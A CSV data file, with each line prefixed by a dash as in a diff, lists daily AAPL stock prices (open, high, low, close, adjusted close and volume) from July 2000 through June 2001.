-2000-07-12,4.151785850524902,4.2098212242126465,4.026785850524902,4.205357074737549,3.659085512161255,56358400.0,AAPL
-2000-07-13,4.1785712242126465,4.330357074737549,3.9107143878936768,4.035714149475098,3.511478900909424,111414800.0,AAPL
-2000-07-14,4.080357074737549,4.214285850524902,4.0625,4.120535850524902,3.5852818489074707,47569200.0,AAPL
-2000-07-17,4.160714149475098,4.200892925262451,4.080357074737549,4.1651787757873535,3.624126434326172,65000600.0,AAPL
-2000-07-18,4.1785712242126465,4.205357074737549,4.0625,4.089285850524902,3.558091640472412,79601200.0,AAPL
-2000-07-19,3.9419643878936768,4.058035850524902,3.6964285373687744,3.763392925262451,3.274531841278076,114468200.0,AAPL
-2000-07-20,3.9285714626312256,4.075892925262451,3.8660714626312256,3.9375,3.4260222911834717,116393200.0,AAPL
-2000-07-21,3.8828125,3.9732143878936768,3.78125,3.825892925262451,3.3289127349853516,49058800.0,AAPL
-2000-07-24,3.7544643878936768,3.7767856121063232,3.392857074737549,3.4776785373687744,3.0259320735931396,103042800.0,AAPL
-2000-07-25,3.59375,3.6160714626312256,3.5044643878936768,3.575892925262451,3.1113877296447754,52901800.0,AAPL
-2000-07-26,3.560267925262451,3.6607143878936768,3.517857074737549,3.575892925262451,3.1113877296447754,52617600.0,AAPL
-2000-07-27,3.5714285373687744,3.8035714626312256,3.5625,3.7142856121063232,3.2318031787872314,73746400.0,AAPL
-2000-07-28,3.734375,3.75,3.3482143878936768,3.450892925262451,3.0026252269744873,59473400.0,AAPL
-2000-07-31,3.5111606121063232,3.6875,3.482142925262451,3.6294643878936768,3.1580002307891846,38824800.0,AAPL
-2000-08-01,3.59375,3.654017925262451,3.517857074737549,3.5223214626312256,3.064775228500366,34321000.0,AAPL
-2000-08-02,3.5,3.5669643878936768,3.3705356121063232,3.375,2.9365906715393066,40588800.0,AAPL
-2000-08-03,3.2544643878936768,3.4330356121063232,3.1607143878936768,3.4285714626312256,2.983203411102295,84974400.0,AAPL
-2000-08-04,3.533482074737549,3.6607143878936768,3.3080356121063232,3.3839285373687744,2.944359064102173,65780400.0,AAPL
-2000-08-07,3.419642925262451,3.5044643878936768,3.3705356121063232,3.424107074737549,2.9793190956115723,46837000.0,AAPL
-2000-08-08,3.424107074737549,3.4285714626312256,3.3080356121063232,3.3392856121063232,2.905515670776367,44168600.0,AAPL
-2000-08-09,3.4375,3.4598214626312256,3.375,3.392857074737549,2.9521284103393555,94910200.0,AAPL
-2000-08-10,3.4285714626312256,3.4598214626312256,3.3839285373687744,3.3973214626312256,2.95601224899292,62928600.0,AAPL
-2000-08-11,3.345982074737549,3.4285714626312256,3.2544643878936768,3.40625,2.9637811183929443,59514000.0,AAPL
-2000-08-14,3.3995535373687744,3.40625,3.3080356121063232,3.361607074737549,2.924938201904297,39165000.0,AAPL
-2000-08-15,3.375,3.424107074737549,3.3214285373687744,3.3348214626312256,2.9016311168670654,28550200.0,AAPL
-2000-08-16,3.3482143878936768,3.5,3.34375,3.4642856121063232,3.0142784118652344,35918400.0,AAPL
-2000-08-17,3.455357074737549,3.7455356121063232,3.450892925262451,3.674107074737549,3.196843385696411,67725000.0,AAPL
-2000-08-18,3.669642925262451,3.700892925262451,3.5625,3.5714285373687744,3.1075029373168945,47544000.0,AAPL
-2000-08-21,3.5892856121063232,3.6830356121063232,3.544642925262451,3.607142925262451,3.138578414916992,33616800.0,AAPL
-2000-08-22,3.6160714626312256,3.7723214626312256,3.5982143878936768,3.6919643878936768,3.212380886077881,69200600.0,AAPL
-2000-08-23,3.6763393878936768,3.9107143878936768,3.6473214626312256,3.8794643878936768,3.3755252361297607,59215800.0,AAPL
-2000-08-24,3.9051339626312256,4.044642925262451,3.8125,4.0078125,3.487201690673828,77691600.0,AAPL
-2000-08-25,4.035714149475098,4.107142925262451,4.026785850524902,4.058035850524902,3.530900001525879,83615000.0,AAPL
-2000-08-28,4.089285850524902,4.214285850524902,4.075892925262451,4.1473212242126465,3.608588933944702,89751200.0,AAPL
-2000-08-29,4.1339287757873535,4.245535850524902,4.120535850524902,4.2276787757873535,3.678506851196289,66757600.0,AAPL
-2000-08-30,4.214285850524902,4.285714149475098,4.193080425262451,4.25,3.6979289054870605,71348200.0,AAPL
-2000-08-31,4.2120537757873535,4.392857074737549,4.2098212242126465,4.3526787757873535,3.7872700691223145,104899200.0,AAPL
-2000-09-01,4.379464149475098,4.544642925262451,4.3660712242126465,4.53125,3.942645311355591,64218000.0,AAPL
-2000-09-05,4.4754462242126465,4.580357074737549,4.4464287757873535,4.4598212242126465,3.8804943561553955,74660600.0,AAPL
-2000-09-06,4.3839287757873535,4.455357074737549,4.125,4.174107074737549,3.63189435005188,88851000.0,AAPL
-2000-09-07,4.223214149475098,4.46875,4.160714149475098,4.4285712242126465,3.853304862976074,54366200.0,AAPL
-2000-09-08,4.401785850524902,4.401785850524902,4.1785712242126465,4.205357074737549,3.659085512161255,48879600.0,AAPL
-2000-09-11,4.191964149475098,4.3125,4.151785850524902,4.174107074737549,3.63189435005188,46845400.0,AAPL
-2000-09-12,4.095982074737549,4.2901787757873535,4.0714287757873535,4.125,3.5891659259796143,46999400.0,AAPL
-2000-09-13,4.0535712242126465,4.25,4.0535712242126465,4.142857074737549,3.604703903198242,76496000.0,AAPL
-2000-09-14,4.183035850524902,4.2589287757873535,4.058035850524902,4.0613837242126465,3.533813953399658,106638000.0,AAPL
-2000-09-15,4.125,4.15625,3.875,3.9453125,3.4328203201293945,98628600.0,AAPL
-2000-09-18,3.9464285373687744,4.339285850524902,3.9330356121063232,4.332589149475098,3.769789457321167,106134000.0,AAPL
-2000-09-19,4.267857074737549,4.3214287757873535,4.183035850524902,4.28125,3.7251195907592773,67877600.0,AAPL
-2000-09-20,4.2433037757873535,4.388392925262451,4.183035850524902,4.3604912757873535,3.794067144393921,56847000.0,AAPL
-2000-09-21,4.1785712242126465,4.2589287757873535,3.9464285373687744,4.049107074737549,3.523131847381592,127622600.0,AAPL
-2000-09-22,3.59375,3.7455356121063232,3.5714285373687744,3.7276785373687744,3.2434568405151367,181675200.0,AAPL
-2000-09-25,3.767857074737549,3.9642856121063232,3.71875,3.8214285373687744,3.325028896331787,108887800.0,AAPL
-2000-09-26,3.8080356121063232,3.9107143878936768,3.669642925262451,3.674107074737549,3.196843385696411,72734200.0,AAPL
-2000-09-27,3.6964285373687744,3.767857074737549,3.4464285373687744,3.4955356121063232,3.0414693355560303,100564800.0,AAPL
-2000-09-28,3.5223214626312256,3.84375,3.4375,3.8214285373687744,3.325028896331787,244896400.0,AAPL
-2000-09-29,2.013392925262451,2.0714285373687744,1.8125,1.8392857313156128,1.600364327430725,1855410200.0,AAPL
-2000-10-02,1.90625,1.9107142686843872,1.6785714626312256,1.7321428060531616,1.5071392059326172,606197200.0,AAPL
-2000-10-03,1.78125,1.7857142686843872,1.5848214626312256,1.59375,1.3867233991622925,509530000.0,AAPL
-2000-10-04,1.5982142686843872,1.6964285373687744,1.5625,1.6875,1.4682953357696533,366506000.0,AAPL
-2000-10-05,1.6785714626312256,1.75,1.5714285373687744,1.5758928060531616,1.371186375617981,218251600.0,AAPL
-2000-10-06,1.6205357313156128,1.6383928060531616,1.5,1.5848214626312256,1.3789544105529785,153164200.0,AAPL
-2000-10-09,1.6160714626312256,1.6339285373687744,1.5089285373687744,1.5535714626312256,1.3517639636993408,149391200.0,AAPL
-2000-10-10,1.5446428060531616,1.6026785373687744,1.4642857313156128,1.4910714626312256,1.2973827123641968,172775400.0,AAPL
-2000-10-11,1.4375,1.5,1.3660714626312256,1.4017857313156128,1.2196950912475586,299605600.0,AAPL
-2000-10-12,1.4508928060531616,1.4866071939468384,1.3928571939468384,1.4285714626312256,1.2430016994476318,297766000.0,AAPL
-2000-10-13,1.4464285373687744,1.5803571939468384,1.4285714626312256,1.5758928060531616,1.371186375617981,311938200.0,AAPL
-2000-10-16,1.59375,1.6607142686843872,1.5267857313156128,1.5357142686843872,1.3362265825271606,205044000.0,AAPL
-2000-10-17,1.5491071939468384,1.5669642686843872,1.40625,1.4375,1.2507702112197876,150430000.0,AAPL
-2000-10-18,1.3883928060531616,1.5044642686843872,1.3392857313156128,1.4375,1.2507702112197876,208566400.0,AAPL
-2000-10-19,1.3683035373687744,1.4151785373687744,1.3080357313156128,1.3526785373687744,1.1769667863845825,376681200.0,AAPL
-2000-10-20,1.3616071939468384,1.4553571939468384,1.3526785373687744,1.3928571939468384,1.2119262218475342,197815800.0,AAPL
-2000-10-23,1.4475446939468384,1.46875,1.3883928060531616,1.4553571939468384,1.2663077116012573,137823000.0,AAPL
-2000-10-24,1.4776785373687744,1.4910714626312256,1.34375,1.3482142686843872,1.1730823516845703,201112800.0,AAPL
-2000-10-25,1.3616071939468384,1.3705357313156128,1.3169642686843872,1.3214285373687744,1.1497761011123657,165992400.0,AAPL
-2000-10-26,1.34375,1.3482142686843872,1.25,1.3214285373687744,1.1497761011123657,180462800.0,AAPL
-2000-10-27,1.3482142686843872,1.3705357313156128,1.2767857313156128,1.3258928060531616,1.1536606550216675,186125800.0,AAPL
-2000-10-30,1.3660714626312256,1.4241071939468384,1.3392857313156128,1.3794642686843872,1.2002732753753662,159797400.0,AAPL
-2000-10-31,1.4107142686843872,1.4464285373687744,1.375,1.3973214626312256,1.2158106565475464,221470200.0,AAPL
-2000-11-01,1.3883928060531616,1.4910714626312256,1.3883928060531616,1.4642857313156128,1.274076223373413,143841600.0,AAPL
-2000-11-02,1.5089285373687744,1.6026785373687744,1.5044642686843872,1.59375,1.3867233991622925,147673400.0,AAPL
-2000-11-03,1.6428571939468384,1.6428571939468384,1.5669642686843872,1.5892857313156128,1.3828390836715698,128955400.0,AAPL
-2000-11-06,1.6026785373687744,1.6160714626312256,1.4910714626312256,1.53125,1.3323420286178589,98369600.0,AAPL
-2000-11-07,1.5357142686843872,1.5580357313156128,1.4866071939468384,1.5223214626312256,1.3245733976364136,75490800.0,AAPL
-2000-11-08,1.5267857313156128,1.53125,1.4151785373687744,1.4330357313156128,1.2468856573104858,105522200.0,AAPL
-2000-11-09,1.4196428060531616,1.4642857313156128,1.3616071939468384,1.4419642686843872,1.2546544075012207,119208600.0,AAPL
-2000-11-10,1.3828125,1.4196428060531616,1.3616071939468384,1.3616071939468384,1.1847355365753174,105562800.0,AAPL
-2000-11-13,1.3392857313156128,1.4285714626312256,1.3035714626312256,1.3839285373687744,1.2041573524475098,107954000.0,AAPL
-2000-11-14,1.4241071939468384,1.4642857313156128,1.3973214626312256,1.4464285373687744,1.2585391998291016,102250400.0,AAPL
-2000-11-15,1.4308035373687744,1.4419642686843872,1.375,1.4196428060531616,1.2352327108383179,70589400.0,AAPL
-2000-11-16,1.3928571939468384,1.4151785373687744,1.3482142686843872,1.3571428060531616,1.1808511018753052,59843000.0,AAPL
-2000-11-17,1.3705357313156128,1.375,1.3035714626312256,1.3214285373687744,1.1497761011123657,111545000.0,AAPL
-2000-11-20,1.328125,1.3928571939468384,1.3035714626312256,1.3526785373687744,1.1769667863845825,102016600.0,AAPL
-2000-11-21,1.3705357313156128,1.3928571939468384,1.3392857313156128,1.34375,1.1691983938217163,75488000.0,AAPL
-2000-11-22,1.34375,1.3660714626312256,1.3125,1.3214285373687744,1.1497761011123657,70133000.0,AAPL
-2000-11-24,1.3470982313156128,1.3928571939468384,1.34375,1.3794642686843872,1.2002732753753662,40233200.0,AAPL
-2000-11-27,1.4196428060531616,1.4241071939468384,1.3214285373687744,1.3348214626312256,1.1614291667938232,64698200.0,AAPL
-2000-11-28,1.3348214626312256,1.3571428060531616,1.28125,1.2879464626312256,1.1206430196762085,67281200.0,AAPL
-2000-11-29,1.2924107313156128,1.3080357313156128,1.2321428060531616,1.2544642686843872,1.0915106534957886,123037600.0,AAPL
-2000-11-30,1.1919642686843872,1.2142857313156128,1.1517857313156128,1.1785714626312256,1.0254758596420288,202399400.0,AAPL
-2000-12-01,1.2142857313156128,1.25,1.2008928060531616,1.21875,1.0604356527328491,96426400.0,AAPL
-2000-12-04,1.2276785373687744,1.2276785373687744,1.1741071939468384,1.1919642686843872,1.037129282951355,92880200.0,AAPL
-2000-12-05,1.2098214626312256,1.2455357313156128,1.1696428060531616,1.2142857313156128,1.0565510988235474,153494600.0,AAPL
-2000-12-06,1.0446428060531616,1.0714285373687744,1.0,1.0223214626312256,0.889522910118103,343616000.0,AAPL
-2000-12-07,1.03125,1.0625,1.0,1.0223214626312256,0.889522910118103,102229400.0,AAPL
-2000-12-08,1.0580357313156128,1.09375,1.03125,1.0758928060531616,0.9361354112625122,108906000.0,AAPL
-2000-12-11,1.0848214626312256,1.0982142686843872,1.0625,1.0848214626312256,0.9439039826393127,83127800.0,AAPL
-2000-12-12,1.0892857313156128,1.1428571939468384,1.0714285373687744,1.0982142686843872,0.9555574655532837,96565000.0,AAPL
-2000-12-13,1.1116071939468384,1.1116071939468384,1.0625,1.0714285373687744,0.9322507977485657,86221800.0,AAPL
-2000-12-14,1.0736607313156128,1.0892857313156128,1.03125,1.03125,0.8972914814949036,65829400.0,AAPL
-2000-12-15,1.0401785373687744,1.0491071939468384,1.0,1.0044642686843872,0.873985230922699,128486400.0,AAPL
-2000-12-18,1.0401785373687744,1.0446428060531616,0.9955357313156128,1.0178571939468384,0.8856388330459595,81452000.0,AAPL
-2000-12-19,1.0267857313156128,1.0892857313156128,1.0,1.0,0.8701008558273315,93501800.0,AAPL
-2000-12-20,0.984375,1.0446428060531616,0.9732142686843872,1.0267857313156128,0.8934072256088257,141332800.0,AAPL
-2000-12-21,1.0178571939468384,1.0714285373687744,0.9910714030265808,1.0044642686843872,0.873985230922699,91711200.0,AAPL
-2000-12-22,1.0089285373687744,1.0714285373687744,1.0089285373687744,1.0714285373687744,0.9322507977485657,79513000.0,AAPL
-2000-12-26,1.0625,1.0714285373687744,1.0178571939468384,1.0491071939468384,0.9128291010856628,54203800.0,AAPL
-2000-12-27,1.0245535373687744,1.0580357313156128,1.0133928060531616,1.0580357313156128,0.9205979108810425,81366600.0,AAPL
-2000-12-28,1.0267857313156128,1.0669642686843872,1.0223214626312256,1.0580357313156128,0.9205979108810425,76294400.0,AAPL
-2000-12-29,1.0491071939468384,1.0714285373687744,1.0357142686843872,1.0625,0.9244822263717651,157584000.0,AAPL
-2001-01-02,1.0625,1.0892857313156128,1.0401785373687744,1.0625,0.9244822263717651,113078000.0,AAPL
-2001-01-03,1.0357142686843872,1.1919642686843872,1.03125,1.1696428060531616,1.0177072286605835,204268400.0,AAPL
-2001-01-04,1.2957589626312256,1.3214285373687744,1.2008928060531616,1.21875,1.0604356527328491,184849000.0,AAPL
-2001-01-05,1.2098214626312256,1.2410714626312256,1.1473214626312256,1.1696428060531616,1.0177072286605835,103089000.0,AAPL
-2001-01-08,1.2098214626312256,1.2131696939468384,1.1383928060531616,1.1830357313156128,1.0293607711791992,93424800.0,AAPL
-2001-01-09,1.2008928060531616,1.2600446939468384,1.1830357313156128,1.2276785373687744,1.0682041645050049,147232400.0,AAPL
-2001-01-10,1.1919642686843872,1.2142857313156128,1.1473214626312256,1.1830357313156128,1.0293607711791992,145195400.0,AAPL
-2001-01-11,1.1607142686843872,1.3214285373687744,1.1607142686843872,1.2857142686843872,1.1187011003494263,200933600.0,AAPL
-2001-01-12,1.2767857313156128,1.2857142686843872,1.21875,1.2276785373687744,1.0682041645050049,105844200.0,AAPL
-2001-01-16,1.2455357313156128,1.3035714626312256,1.2142857313156128,1.2232142686843872,1.0643199682235718,76529600.0,AAPL
-2001-01-17,1.2544642686843872,1.2544642686843872,1.1785714626312256,1.2008928060531616,1.0448979139328003,210218400.0,AAPL
-2001-01-18,1.2723214626312256,1.3392857313156128,1.2589285373687744,1.3348214626312256,1.1614291667938232,306752600.0,AAPL
-2001-01-19,1.3883928060531616,1.3973214626312256,1.3348214626312256,1.3928571939468384,1.2119262218475342,194166000.0,AAPL
-2001-01-22,1.3616071939468384,1.4017857313156128,1.3169642686843872,1.375,1.1963889598846436,129831800.0,AAPL
-2001-01-23,1.3794642686843872,1.4955357313156128,1.3616071939468384,1.4642857313156128,1.274076223373413,219882600.0,AAPL
-2001-01-24,1.4732142686843872,1.4776785373687744,1.3973214626312256,1.4642857313156128,1.274076223373413,179272800.0,AAPL
-2001-01-25,1.46875,1.46875,1.4107142686843872,1.4241071939468384,1.2391167879104614,122427200.0,AAPL
-2001-01-26,1.3928571939468384,1.4151785373687744,1.3616071939468384,1.3973214626312256,1.2158106565475464,120705200.0,AAPL
-2001-01-29,1.3973214626312256,1.5535714626312256,1.3973214626312256,1.5491071939468384,1.3478795289993286,213882200.0,AAPL
-2001-01-30,1.5401785373687744,1.5714285373687744,1.4910714626312256,1.5535714626312256,1.3517639636993408,173105800.0,AAPL
-2001-01-31,1.5357142686843872,1.6071428060531616,1.53125,1.5446428060531616,1.3439950942993164,182676200.0,AAPL
-2001-02-01,1.4776785373687744,1.5357142686843872,1.4642857313156128,1.5089285373687744,1.312920331954956,92423800.0,AAPL
-2001-02-02,1.5089285373687744,1.5669642686843872,1.4642857313156128,1.4732142686843872,1.2818450927734375,106835400.0,AAPL
-2001-02-05,1.4642857313156128,1.46875,1.4107142686843872,1.4419642686843872,1.2546544075012207,71528800.0,AAPL
-2001-02-06,1.4397321939468384,1.5279017686843872,1.4285714626312256,1.5089285373687744,1.312920331954956,115677800.0,AAPL
-2001-02-07,1.4754464626312256,1.4910714626312256,1.4151785373687744,1.4821428060531616,1.2896136045455933,98471800.0,AAPL
-2001-02-08,1.46875,1.5044642686843872,1.4419642686843872,1.4821428060531616,1.2896136045455933,151032000.0,AAPL
-2001-02-09,1.4642857313156128,1.4866071939468384,1.3348214626312256,1.3660714626312256,1.1886197328567505,147520800.0,AAPL
-2001-02-12,1.3616071939468384,1.4285714626312256,1.34375,1.40625,1.2235792875289917,68530000.0,AAPL
-2001-02-13,1.4241071939468384,1.4598214626312256,1.3571428060531616,1.3660714626312256,1.1886197328567505,59267600.0,AAPL
-2001-02-14,1.3705357313156128,1.4017857313156128,1.3214285373687744,1.3928571939468384,1.2119262218475342,77280000.0,AAPL
-2001-02-15,1.40625,1.46875,1.40625,1.4330357313156128,1.2468856573104858,77854000.0,AAPL
-2001-02-16,1.3571428060531616,1.3928571939468384,1.3392857313156128,1.3571428060531616,1.1808511018753052,65977800.0,AAPL
-2001-02-20,1.3705357313156128,1.3883928060531616,1.2991071939468384,1.3080357313156128,1.1381230354309082,78723400.0,AAPL
-2001-02-21,1.3035714626312256,1.4241071939468384,1.3035714626312256,1.3482142686843872,1.1730823516845703,97564600.0,AAPL
-2001-02-22,1.3616071939468384,1.3839285373687744,1.2857142686843872,1.34375,1.1691983938217163,107990400.0,AAPL
-2001-02-23,1.3303571939468384,1.3482142686843872,1.3035714626312256,1.34375,1.1691983938217163,73466400.0,AAPL
-2001-02-26,1.3616071939468384,1.40625,1.3258928060531616,1.3928571939468384,1.2119262218475342,51609600.0,AAPL
-2001-02-27,1.3772321939468384,1.3883928060531616,1.3348214626312256,1.3839285373687744,1.2041573524475098,87129000.0,AAPL
-2001-02-28,1.3839285373687744,1.3883928060531616,1.2946428060531616,1.3035714626312256,1.134238839149475,127058400.0,AAPL
-2001-03-01,1.2723214626312256,1.3392857313156128,1.2276785373687744,1.3392857313156128,1.165313959121704,82615400.0,AAPL
-2001-03-02,1.3080357313156128,1.4598214626312256,1.3035714626312256,1.375,1.1963889598846436,101550400.0,AAPL
-2001-03-05,1.3839285373687744,1.4642857313156128,1.375,1.4553571939468384,1.2663077116012573,81043200.0,AAPL
-2001-03-06,1.4799107313156128,1.5758928060531616,1.4776785373687744,1.5357142686843872,1.3362265825271606,182950600.0,AAPL
-2001-03-07,1.5223214626312256,1.5446428060531616,1.4821428060531616,1.5178571939468384,1.3206889629364014,104885200.0,AAPL
-2001-03-08,1.4776785373687744,1.5089285373687744,1.4598214626312256,1.4866071939468384,1.2934983968734741,51214800.0,AAPL
-2001-03-09,1.4732142686843872,1.4776785373687744,1.4285714626312256,1.4464285373687744,1.2585391998291016,74783800.0,AAPL
-2001-03-12,1.40625,1.4196428060531616,1.2946428060531616,1.3303571939468384,1.1575448513031006,97755000.0,AAPL
-2001-03-13,1.3482142686843872,1.3973214626312256,1.2991071939468384,1.3973214626312256,1.2158106565475464,110832400.0,AAPL
-2001-03-14,1.3214285373687744,1.4642857313156128,1.3169642686843872,1.4598214626312256,1.27019202709198,119443800.0,AAPL
-2001-03-15,1.4910714626312256,1.5267857313156128,1.40625,1.40625,1.2235792875289917,132329400.0,AAPL
-2001-03-16,1.3571428060531616,1.4508928060531616,1.3482142686843872,1.4017857313156128,1.2196950912475586,117579000.0,AAPL
-2001-03-19,1.4107142686843872,1.4732142686843872,1.3928571939468384,1.46875,1.2779607772827148,89002200.0,AAPL
-2001-03-20,1.4799107313156128,1.4955357313156128,1.40625,1.40625,1.2235792875289917,124801600.0,AAPL
-2001-03-21,1.4129464626312256,1.4910714626312256,1.3839285373687744,1.4375,1.2507702112197876,92843800.0,AAPL
-2001-03-22,1.4553571939468384,1.5535714626312256,1.4419642686843872,1.5446428060531616,1.3439950942993164,180825400.0,AAPL
-2001-03-23,1.5758928060531616,1.6830357313156128,1.5714285373687744,1.6428571939468384,1.4294512271881104,236222000.0,AAPL
-2001-03-26,1.652142882347107,1.6964285373687744,1.5092856884002686,1.5557142496109009,1.3536285161972046,183612800.0,AAPL
-2001-03-27,1.5671428442001343,1.6464285850524902,1.5642857551574707,1.6335713863372803,1.4213716983795166,135955400.0,AAPL
-2001-03-28,1.5771428346633911,1.6071428060531616,1.5357142686843872,1.583571434020996,1.3778669834136963,146165600.0,AAPL
-2001-03-29,1.5549999475479126,1.6749999523162842,1.5357142686843872,1.6092857122421265,1.4002410173416138,153266400.0,AAPL
-2001-03-30,1.610714316368103,1.6228570938110352,1.5242856740951538,1.5764285326004028,1.3716521263122559,100087400.0,AAPL
-2001-04-02,1.5778571367263794,1.618571400642395,1.5285714864730835,1.5421428680419922,1.3418200016021729,85227800.0,AAPL
-2001-04-03,1.5257142782211304,1.5285714864730835,1.4378571510314941,1.4457142353057861,1.2579171657562256,92171800.0,AAPL
-2001-04-04,1.4114285707473755,1.4464285373687744,1.3392857313156128,1.3928571939468384,1.2119262218475342,171371200.0,AAPL
-2001-04-05,1.4714285135269165,1.6071428060531616,1.4285714626312256,1.4907143115997314,1.297071933746338,111690600.0,AAPL
-2001-04-06,1.485714316368103,1.5028570890426636,1.4214285612106323,1.4707143306732178,1.279670000076294,81222400.0,AAPL
-2001-04-09,1.4778571128845215,1.5242856740951538,1.4328571557998657,1.4671428203582764,1.2765624523162842,66645600.0,AAPL
-2001-04-10,1.4928570985794067,1.6214286088943481,1.4842857122421265,1.5742857456207275,1.369787573814392,114343600.0,AAPL
-2001-04-11,1.6414285898208618,1.6428571939468384,1.5199999809265137,1.5571428537368774,1.354871392250061,83524000.0,AAPL
-2001-04-12,1.5299999713897705,1.6442856788635254,1.5107142925262451,1.6014286279678345,1.393404483795166,74733400.0,AAPL
-2001-04-16,1.5778571367263794,1.600000023841858,1.4900000095367432,1.531428575515747,1.3324973583221436,71306200.0,AAPL
-2001-04-17,1.514285683631897,1.5149999856948853,1.399999976158142,1.4571428298950195,1.2678613662719727,171299800.0,AAPL
-2001-04-18,1.5407142639160156,1.7200000286102295,1.5057142972946167,1.6278570890426636,1.416399598121643,275210600.0,AAPL
-2001-04-19,1.8250000476837158,1.8392857313156128,1.6857142448425293,1.837142825126648,1.5984996557235718,468417600.0,AAPL
-2001-04-20,1.7807142734527588,1.8307143449783325,1.7571429014205933,1.7885714769363403,1.5562379360198975,173350800.0,AAPL
-2001-04-23,1.7385714054107666,1.7857142686843872,1.7142857313156128,1.7321428060531616,1.5071392059326172,135381400.0,AAPL
-2001-04-24,1.7378571033477783,1.7678571939468384,1.6792857646942139,1.716428518295288,1.4934660196304321,94284400.0,AAPL
-2001-04-25,1.729285717010498,1.7757142782211304,1.683571457862854,1.7657142877578735,1.5363500118255615,82695200.0,AAPL
-2001-04-26,1.7978571653366089,1.8642857074737549,1.76285719871521,1.7635713815689087,1.5344849824905396,199924200.0,AAPL
-2001-04-27,1.7999999523162842,1.8778570890426636,1.7678571939468384,1.8714286088943481,1.6283316612243652,113253000.0,AAPL
-2001-04-30,1.9071428775787354,1.9371428489685059,1.7764285802841187,1.8207142353057861,1.5842052698135376,123694200.0,AAPL
-2001-05-01,1.815000057220459,1.8928571939468384,1.7999999523162842,1.8521428108215332,1.6115511655807495,106813000.0,AAPL
-2001-05-02,1.881428599357605,1.9071428775787354,1.840000033378601,1.8992856740951538,1.652570366859436,92131200.0,AAPL
-2001-05-03,1.8550000190734863,1.875,1.7664285898208618,1.7828571796417236,1.551265835762024,75385800.0,AAPL
-2001-05-04,1.731428623199463,1.8464285135269165,1.7114285230636597,1.8392857313156128,1.600364327430725,70263200.0,AAPL
-2001-05-07,1.8300000429153442,1.840000033378601,1.7742856740951538,1.7828571796417236,1.551265835762024,69137600.0,AAPL
-2001-05-08,1.8107142448425293,1.8178571462631226,1.710714340209961,1.7549999952316284,1.5270272493362427,78859200.0,AAPL
-2001-05-09,1.7242857217788696,1.7535713911056519,1.6907142400741577,1.7128571271896362,1.4903589487075806,81222400.0,AAPL
-2001-05-10,1.729285717010498,1.75,1.639285683631897,1.6428571939468384,1.4294512271881104,72244200.0,AAPL
-2001-05-11,1.643571376800537,1.6778571605682373,1.6257143020629883,1.6321429014205933,1.420129656791687,50761200.0,AAPL
-2001-05-14,1.6349999904632568,1.691428542137146,1.625,1.6635714769363403,1.4474748373031616,77305200.0,AAPL
-2001-05-15,1.6692856550216675,1.8214285373687744,1.645714282989502,1.6557142734527588,1.440638542175293,59256400.0,AAPL
-2001-05-16,1.6614285707473755,1.75,1.6321429014205933,1.7214285135269165,1.4978166818618774,80582600.0,AAPL
-2001-05-17,1.7307143211364746,1.7378571033477783,1.6607142686843872,1.6821428537368774,1.4636340141296387,83029800.0,AAPL
-2001-05-18,1.6685714721679688,1.6885714530944824,1.6514285802841187,1.6807142496109009,1.4623910188674927,39762800.0,AAPL
-2001-05-21,1.6878571510314941,1.7078571319580078,1.6464285850524902,1.6828571557998657,1.4642555713653564,115249400.0,AAPL
-2001-05-22,1.7142857313156128,1.7235714197158813,1.6714285612106323,1.6785714626312256,1.4605265855789185,103229000.0,AAPL
-2001-05-23,1.6964285373687744,1.6964285373687744,1.632857084274292,1.6592856645584106,1.4437460899353027,70260400.0,AAPL
-2001-05-24,1.6635714769363403,1.664285659790039,1.6157143115997314,1.6571428775787354,1.4418818950653076,67939200.0,AAPL
-2001-05-25,1.6571428775787354,1.6635714769363403,1.6071428060531616,1.6257143020629883,1.414535641670227,39685800.0,AAPL
-2001-05-29,1.5942857265472412,1.6071428060531616,1.4864286184310913,1.533571481704712,1.3343620300292969,128997400.0,AAPL
-2001-05-30,1.48285710811615,1.48285710811615,1.3785713911056519,1.412857174873352,1.2293281555175781,194269600.0,AAPL
-2001-05-31,1.414285659790039,1.4457142353057861,1.39214289188385,1.4249999523162842,1.2398937940597534,110723200.0,AAPL
-2001-06-01,1.4378571510314941,1.506428599357605,1.427142858505249,1.492142915725708,1.2983150482177734,114018800.0,AAPL
-2001-06-04,1.5057142972946167,1.507857084274292,1.4614285230636597,1.4757143259048462,1.2840207815170288,70480200.0,AAPL
-2001-06-05,1.485714316368103,1.5071429014205933,1.4535714387893677,1.4957143068313599,1.3014227151870728,117948600.0,AAPL
-2001-06-06,1.4950000047683716,1.4950000047683716,1.4521428346633911,1.4807143211364746,1.288370966911316,55794200.0,AAPL
-2001-06-07,1.479285717010498,1.5499999523162842,1.460714340209961,1.5471428632736206,1.346170425415039,81295200.0,AAPL
-2001-06-08,1.5464285612106323,1.5464285612106323,1.479285717010498,1.5228571891784668,1.3250393867492676,85656200.0,AAPL
-2001-06-11,1.5035713911056519,1.5049999952316284,1.4249999523162842,1.4314285516738892,1.2454874515533447,73500000.0,AAPL
-2001-06-12,1.4121428728103638,1.4778571128845215,1.4114285707473755,1.4507142305374146,1.26226806640625,75948600.0,AAPL
-2001-06-13,1.5299999713897705,1.552142858505249,1.4328571557998657,1.462142825126648,1.272212028503418,127871800.0,AAPL
-2001-06-14,1.4314285516738892,1.460714340209961,1.4121428728103638,1.4199999570846558,1.235542893409729,74337200.0,AAPL
-2001-06-15,1.4357142448425293,1.4821428060531616,1.3821429014205933,1.4600000381469727,1.270347237586975,113656200.0,AAPL
-2001-06-18,1.4578571319580078,1.4892857074737549,1.4285714626312256,1.4521428346633911,1.263510823249817,86478000.0,AAPL
-2001-06-19,1.4892857074737549,1.5285714864730835,1.4292857646942139,1.4421428442001343,1.254809856414795,80271800.0,AAPL
-2001-06-20,1.4285714626312256,1.5607142448425293,1.427142858505249,1.5478571653366089,1.3467917442321777,107905000.0,AAPL
-2001-06-21,1.539285659790039,1.6428571939468384,1.5071429014205933,1.606428623199463,1.3977549076080322,85332800.0,AAPL
-2001-06-22,1.6057143211364746,1.6428571939468384,1.5542857646942139,1.590000033378601,1.3834604024887085,71506400.0,AAPL
-2001-06-25,1.6071428060531616,1.7142857313156128,1.6035714149475098,1.7135714292526245,1.4909800291061401,109887400.0,AAPL
-2001-06-26,1.6671428680419922,1.697857141494751,1.643571376800537,1.6964285373687744,1.4760642051696777,68195400.0,AAPL
-2001-06-27,1.7021428346633911,1.7142857313156128,1.6071428060531616,1.6671428680419922,1.45058274269104,93532600.0,AAPL
-2001-06-28,1.6464285850524902,1.7078571319580078,1.6385713815689087,1.6814285516738892,1.4630126953125,87102400.0,AAPL
-2001-06-29,1.690000057220459,1.7928571701049805,1.6571428775787354,1.6607142686843872,1.4449890851974487,128847600.0,AAPL
